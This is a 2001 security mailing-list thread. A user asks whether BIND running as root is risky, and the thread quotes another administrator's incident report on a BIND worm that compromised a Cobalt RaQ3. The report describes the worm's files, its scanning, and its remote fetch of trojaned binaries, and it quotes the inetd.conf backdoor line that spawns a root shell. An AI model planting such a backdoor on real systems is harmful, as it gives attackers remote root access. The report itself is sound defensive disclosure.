Re: [cobalt-security] profile of a bind worm

["Robson Martins" <robson@xxxxxxxxxxxxx>]

Hey all, i have bind-8.2.3 running here, my question is, when i run it with
start it is the user named but if i restart, it gets the root username, is
it a problem? Can i receive a worm with this problem? Named need always run
as named? Restart is really affecting the username?

I really need to know this, if anybody know please tell me.

Thanks, Robson.


----- Original Message -----
From: "Kevin D" <kdlists@xxxxxxxxxxxxxxx>
To: <cobalt-security@xxxxxxxxxxxxxxx>
Sent: Monday, June 11, 2001 11:38 AM
Subject: [cobalt-security] profile of a bind worm


> I had a very interesting encounter with a bind worm this weekend, and I
> thought the list might benefit from what I found.
>
> When the bind vulnerability advisory for bind 8.2.2 was published several
> months ago, I applied the RPM to upgrade bind before Cobalt produced their
> .pkg file. On wednesday, I performed several overdue updates to my cobalt
> raq3 server, and one of these updates uncluded OS Update 4.0. What I did
not
> realize was that OS Update 4.0 by cobalt included an updated 8.2.2 version
> of bind. In effect, the OS Update 4.0 downgraded my version of bind from
> 8.2.3 to the vulnerable 8.2.2. Let me make it clear that this was my
fault,
> as I should have read the docs that accompanied this update X-(
>
> On sunday, I received an email from our What's Up monitoring service
saying
> that my raq3's dns service had been restarted, so I logged into the server
> and performed some quick checks. A ps ax revealed a ton of processes
running
> called w0rmssscanner and one called w0rmssserver.
>
> My server was compromised on Sunday, just 4 days after downgrading to bind
> 8.2.2. The worm that attacked my server used the bind vulnerability to
> install itself into /home/tmp/.tmp
> Here is what that directory looked like (ls -lc):
>
> -rw-r--r--   1 named    root         2578 Jun 10 15:02 nameds
> -rwxr-xr-x   1 named    root        50148 Jun 10 10:51 LS
> -rwxr-xr-x   1 named    root       138703 Jun 10 10:51 ls
> drwxr-xr-x   2 named    root         1024 Jun 10 10:51 stuff
> drwxr-xr-x   2 named    root         1024 Jun 10 10:51 log
> -rw-------   1 named    root            5 Jun 10 10:51 pid
> -rw-r--r--   1 named    root          209 Jun 10 10:51 conf
> -rwxr-xr-x   1 named    root         5081 Jun 10 10:51 du
> -rw-r--r--   1 named    root         2942 Jun 10 10:51 inetd.conf
> -rw-r--r--   1 named    root           13 Jun 10 10:51 lsfile
> -rw-r--r--   1 named    root         7354 Jun 10 10:51 mime.types
> -rwxr-xr-x   1 named    root         5161 Jun 10 10:51 ps
> -rwxr-xr-x   1 named    root          477 Jun 10 10:51 w0rmIP
> -rwxr-xr-x   1 named    root         9659 Jun 10 10:51 w0rmlinx
> -rwxr-xr-x   1 named    root           35 Jun 10 10:51 w0rmlinx.sh
> -rwxr-xr-x   1 named    root         7006 Jun 10 10:51 w0rmmigs
> -rwxr-xr-x   1 named    root        36036 Jun 10 10:51 w0rmserver
> -rwxr-xr-x   1 named    root        16576 Jun 10 10:51 w0rmssscan
> -rwxr-xr-x   1 named    root         1385 Jun 10 10:51 w0rmstart
>
> I then checked the messages log to find several mysterious log messages
from
> inetd that started on Jun 10 10:51A. This time corresponded with the
create
> times of the files listed above. Every 10 minutes from then on, there were
3
> log entries from inetd that claimed named permissions problems.
>
> I ran some netstat commands and found that w0rmssserver was listening on
> port 12321, and the many processes of w0rmssscan processes were creating
> connections to various servers on the internet on port 53 - probably
> scanning for other vulnerable bind servers.
>
> I copied the contents of /home/tmp/.tmp to my home directory and examined
> w0rmstart, an sh shell script. This script retrieved hacked binaries of
ls,
> ps, and netstat, and also the w0rmssserver and w0rmssscan files, from
> another server. The script performed this retrieval by connecting to the
> remote server on port 12321 - the same port on which w0rmssserver is set
up
> to listen.
>
> The script then started w0rmsserver and w0rmssscan processes. The script
> also tried to create a backdoor in inetd.conf by appending the following
> line to inetd.conf: "ingreslock stream tcp nowait root /bin/sh sh -i"
> The script then started inetd, without killing the currently running
version
> of inetd. This created the message log entries about named permissions
> problems mentioned above. The second inetd process was trying to bind
ports
> for services that were already running with the first version of inetd,
and
> the second inetd process was running as user named, not root.
>
> The script started another, called tr0jan, which attempted to copy the
> hacked binaries over the originals. This script was responsible for
killing
> the inetd process, and installing an sshd trojan back door. It also tried
to
> install a version of bind, which seems to link it in some way to the
cheese
> worm. Maybe this was done to prevent others from hacking the owned box?
The
> script deleted itself when it finished, probably to cover hide which files
> were trojaned.
>
> Thankfully, because my bind server was running as user named, the worm was
> unable to compromise my ls, ps and netstat files, and was unable to modify
> my inetd.conf file. Had my ls, ps and netstat files been modified, my
> baseline file scanner, fcheck, would have picked up the changes, but I
would
> have had to reload those files to find the worm.
>
> At this point, I decided to kill all of the worm's processes. In
hindsight,
> this was not a terribly good idea, as it may have triggered some kind of
> bomb planted in the worm. I should have frozen the processes and killed
them
> off from their frozen state.
>
> If anyone is fond of looking at hex dumps, I have all of the worms files,
> and I can send them to you off list if you like.
>
> Kevin
>
> _______________________________________________
> cobalt-security mailing list
> cobalt-security@xxxxxxxxxxxxxxx
> http://list.cobalt.com/mailman/listinfo/cobalt-security